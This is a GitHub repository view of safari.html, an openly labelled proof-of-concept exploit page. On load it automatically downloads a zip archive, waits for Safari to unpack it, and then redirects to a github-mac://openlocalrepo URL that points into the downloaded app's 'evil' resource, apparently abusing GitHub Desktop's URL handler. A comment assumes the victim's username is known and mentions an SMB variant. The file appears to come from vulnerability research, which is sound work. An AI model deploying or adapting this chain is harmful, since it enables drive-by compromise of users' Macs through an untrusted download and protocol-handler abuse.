-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathsafari.html
More file actions
24 lines (22 loc) · 817 Bytes
/
safari.html
File metadata and controls
24 lines (22 loc) · 817 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<body>
<script>
// "safari" scenario assumes that we know the username
// if you think this condition is beyond attacker's capabilities
// go to SMB scenario
let USERNAME = "metnew"
function download() {
let a = document.createElement("a")
a.href= "safari.zip"
a.click()
}
window.onload = () => {
alert("Do you want to see the perfect (Safari) PoC?")
download()
// wait a bit... let Safari unpack the archive
setTimeout(() => {
alert("Click 'Yes' on the next window for PoC")
location.href = `github-mac://openlocalrepo//Users/${USERNAME}/Downloads/SafariPoC.app/Contents/Resources/evil`
},2000)
}
</script>
</body>